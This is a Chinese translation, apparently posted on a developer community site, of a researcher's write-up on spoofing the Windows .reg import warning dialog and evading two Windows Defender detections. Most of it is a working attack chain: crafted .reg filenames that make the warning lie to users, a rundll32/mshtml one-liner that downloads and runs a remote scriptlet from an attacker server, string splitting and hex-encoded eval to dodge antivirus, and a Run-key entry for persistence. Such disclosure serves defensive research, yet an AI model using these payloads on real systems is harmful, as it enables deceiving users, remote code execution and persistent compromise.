前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >Microsoft Windows .Reg 文件对话框欺骗/缓解绕过

Microsoft Windows .Reg 文件对话框欺骗/缓解绕过

作者头像
Khan安全团队
发布2022-01-14 15:31:35
发布2022-01-14 15:31:35
63300
代码可运行
举报
文章被收录于专栏:Khan安全团队Khan安全团队
运行总次数:0
代码可运行

具有 .reg 文件扩展名的文件是 Windows 注册表使用的注册文件。这些文件可以包含配置单元、键和值。 .reg 文件可以在文本编辑器中从头开始创建,也可以在备份部分注册表时由 Windows 注册表生成。

Windows .Reg 文件对话框欺骗 - 缓解绕过

早在 2019 年,我就披露了一种欺骗 Windows 注册表对话框警告框以显示攻击者控制消息的新颖方法。 这个欺骗缺陷让我们可以欺骗“你确定要继续吗?” 警告消息改为“单击是中止”或 攻击者想要显示的任何其他内容。

这个缺陷可能使用户认为他们正在取消注册表导入,而实际上他们正在导入它,因为我们可以使 注册表安全警告对话框对他们说谎,因为警告消息现在处于攻击者的控制之下。

它的工作方式是使用特制的 .Reg 文件名,这允许控制呈现给最终用户的注册表警告对话框消息。

最近,我注意到 2022 年 .Reg 文件对话框欺骗不再适用于 Windows 10,而是在 Regedit.exe 中触发访问冲突。 因此,操作系统发生了一些变化,可能是一种无声的缓解嗯。不会是第一次,早在 2016 年我的 msinfo32.exe .NFO 文件 XXE 注入漏洞报告有类似的命运,没有 CVE 或公告修复,并且允许远程文件访问数据盗窃。

在 2019 年的一次threatpost.com 采访中,微软表示“提交的问题不符合通过安全更新提供服务的严重性标准” 参考:https://threatpost.com/windows-bug-spoof-dialog-boxes/142711

然而,“修复”很容易被绕过,旧的有效载荷仍然可以跨系统工作。

绕过 .Reg 欺骗修复只是一个开始,我必须想办法绕过两个不同的 Windows Defender 检测以实现 PoC。

木马:Win32/Powessere.G https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan%3AWin32%2FPowessere.G%21lnk&ThreatID=2147752427

后门:JS/Relvelshe.A https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:JS/Relvelshe.A&ThreatID=2147744426

我原来的 2019 年 .Reg 文件欺骗有效负载,现在触发访问冲突,并因读取无效指针而导致 regedit.exe 崩溃。

代码语言:javascript
代码运行次数:0
运行
复制
00007FFE7A4A7C83 | EB 0D                    | jmp ntdll.7FFE7A4A7C92                   |
00007FFE7A4A7C85 | FF C9                    | dec ecx                                  | ;This loops thru to read in the  path + filename
00007FFE7A4A7C87 | 66 45 39 5D 00           | cmp word ptr ds:[r13],r11w               | ;ACCESS VIOLATION HERE
00007FFE7A4A7C8C | 74 08                    | je ntdll.7FFE7A4A7C96                    | ;Move the string down two bytes
00007FFE7A4A7C8E | 49 83 C5 02              | add r13,2                                | r13:L"10.r%e%g%r%nC%l%i%c%k%b%Y%e%s%b%b%b%1%0.reg"
00007FFE7A4A7C92 | 85 C9                    | test ecx,ecx  

00007FFE7A4A7C87 | 66 45 39 5D 00           | cmp word ptr ds:[r13],r11w               | ; BOOM ACCESS VIOLATION on Win10, but not Win7

ntdll!woutput_l+0x387:
00007ffe`7a4a7c87 6645395d00      cmp     word ptr [r13],r11w ds:000001ed`00000000=????

在线搜索显示WIN-7仍然占22%世界上的计算机,所以我请我的朋友安全研究员 Eduardo Braun Prado (Edu_Braun_0day) 帮助我重新测试 Windows 7 上的 .REG 文件欺骗的完整性。原来我原来的有效载荷仍然可以在 Win-7 上运行,并且在 Win-10 上稍作调整。

原始作品在 Win-7 上运行,但在 Win-10 上崩溃 regedit.exe:

代码语言:javascript
代码运行次数:0
运行
复制
Microsoft-Security-Update-v1.2-Windows-10.r%e%g%r%nC%l%i%c%k%b %Y%e%s%b%b%b%1%0.reg 

原始有效负载(第一个缓解绕过)适用于 Win-7/Win-10:

代码语言:javascript
代码运行次数:0
运行
复制
Remove second to last byte (%1) before the %0 string terminator and %b characters Windows_Reg_Spoof_Mitigation_Bypass.r%e%g%r%nC%l%i%c%k%b%Y%e%s%0.reg

新的有效负载缓解绕过适用于 Win-7 和 Win-10:

代码语言:javascript
代码运行次数:0
运行
复制
Windows_Reg_Spoof_Mitigation_Bypass.%n%nClick YES to cancel%0.reg

但是,我们还没有完成,因为我们必须处理 Windows Defender 检测预防措施。

1) 木马:Win32/Powessere.G

2) 后门:JS/Relvelshe.A 绕过"Trojan:Win32/Powessere.G"

击败 Windows Defender 中的 Trojan:Win32/Powessere.G 检测需要两个组件。

A) 引用 mshtml ..\\..\\..\\ 时的额外路径遍历

B) 构建远程服务器 URL 方案时的连接 "script"+":"+"http.

FAIL on current updated Windows 10

代码语言:javascript
代码运行次数:0
运行
复制
C:\>rundll32.exe javascript:"\..\..\mshtml,RunHTMLApplication ";alert (1) 

访问被拒绝

在当前更新的 Windows 10 上成功

使用额外的 ..\ 会导致绕过,但只是一个警告框没有任何用处

代码语言:javascript
代码运行次数:0
运行
复制
C:\>rundll32.exe javascript:"\..\..\ ..\mshtml,RunHTMLApplication ";alert(1) 

尝试使用下面的有效负载下载并执行远程代码再次失败,因为我们需要连接第二个组件 URL 方案 。

代码语言:javascript
代码运行次数:0
运行
复制
C:\>rundll32.exe javascript:"\..\ ..\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:http://192.168.1.45/hi.tmp") 访问被拒绝。 

URL 方案的 Jscript 连接。

代码语言:javascript
代码运行次数:0
运行
复制
document.write();GetObject("script"+":"+"http://192.168.1.45/hi.tmp")

成功绕过“Trojan:Win32/Powessere.G”检测!

代码语言:javascript
代码运行次数:0
运行
复制
 C:\>rundll32.exe javascript:"\..\..\..\mshtml,RunHTMLApplication ";document.write();GetObject("script"+":"+"http://192.168.1.45/ hi.tmp") 

我们面临的最后一个障碍是,Windows Defender 将以下名为“backdoor”的下载文件检测为 Backdoor:JS/Relvelshe.A,并将其从 INetCache 中删除。

代码语言:javascript
代码运行次数:0
运行
复制
“C:\Users\victim\AppData\Local\Microsoft\Windows\INetCache\IE\2MH5KJXI\backdoor[1]” 

文件“后门”内容。

代码语言:javascript
代码运行次数:0
运行
复制
 <?xml version="1.0"?>  <package>  < new ActiveXObject("WScript.Shell").Run("calc.exe");  ]]>  </script>  </component>  </package> 

绕过“Backdoor:JS/Relvelshe.A”检测。

我们的方式这是对我们的 PoC 代码进行 Hex 编码 new ActiveXObject("WScript.Shell").Run("calc.exe") 然后调用 String.fromCharCode(parseInt(hex.substr(n, 2), 16)) 对其进行解码即时将值传递给 Jscripts 内置 eval 函数。

代码语言:javascript
代码运行次数:0
运行
复制
var hex = "6E657720416374697665584F626A6563742822575363726970742E5368656C6C22292E52756E282263616C632E6578652229"; 
var str = ''; 
for (var n = 0; n < hex.length; n += 2) { 
str += 字符串。fromCharCode(parseInt(hex.substr(n, 2), 16)); 
}
eval(str) 

Done!,成功绕过了 .Reg 欺骗缓解和两个 Windows Defender 检测。

【参考】

http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-.REG-FILE-DIALOG-BOX-MESSAGE-SPOOFING.txt

注意:大约 2019 年的咨询利用滥用了“图像文件执行选项” " 将有效负载存储为 MSIE 的调试器设置。 不幸的是,这不再有效,所以我们现在将把有效负载存储在磁盘上的 .cmd 文件和注册表运行键中。

1) 创建一个名为 Sales_Report_2022 的 .Reg Dialog Spoofing 文件。%n%n单击“是”取消具有以下内容的%0.reg 或使用原始有效负载稍作改动。

代码语言:javascript
代码运行次数:0
运行
复制
Sales_Report_2022.r%e%g%r%nC%l%i%c%k%b%Y%e%s%0.reg 

我更喜欢原来的,因为 % 字符有助于掩盖文件名中明显的措辞。

Windows 注册表编辑器版本 5.00

代码语言:javascript
代码运行次数:0
运行
复制
 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]  "HATE"="C:\\dump\\s.cmd" 

2) 创建一个 Windows .cmd 文件“s.cmd”,其中包含以下内容。不幸的是,它需要使用上面 .Reg 文件中引用的路径存储在磁盘上, 根据需要更新服务器 IP。

代码语言:javascript
代码运行次数:0
运行
复制
rundll32.exe javascript:"\..\..\..\mshtml,RunHTMLApplication ";document.write();GetObject("script"+":"+"http://192.168.1.45/hi.tmp" ) 

3) 创建远程代码Jscript 组件“hi.tmp”,宿主在服务器端口80,它使用WScript.Shell 弹出calc.exe。

代码语言:javascript
代码运行次数:0
运行
复制
<?xml version="1.0"?> 
<component> 
<script> 
<![CDATA[ 
var hex = "6E657720416374697665584F626A6563742822575363726970742E5368656C6C22292E52756E282263616C632E6578652 
var str = ''; 
for (var n = 0; n < hex.length; n += 2) { 
str += String.fromCharCode(parseInt(hex.substr(n, 2), 16)); 
} 
   eval(str) 
]]> 
</script> 
</component>

本文系外文翻译,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文系外文翻译前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档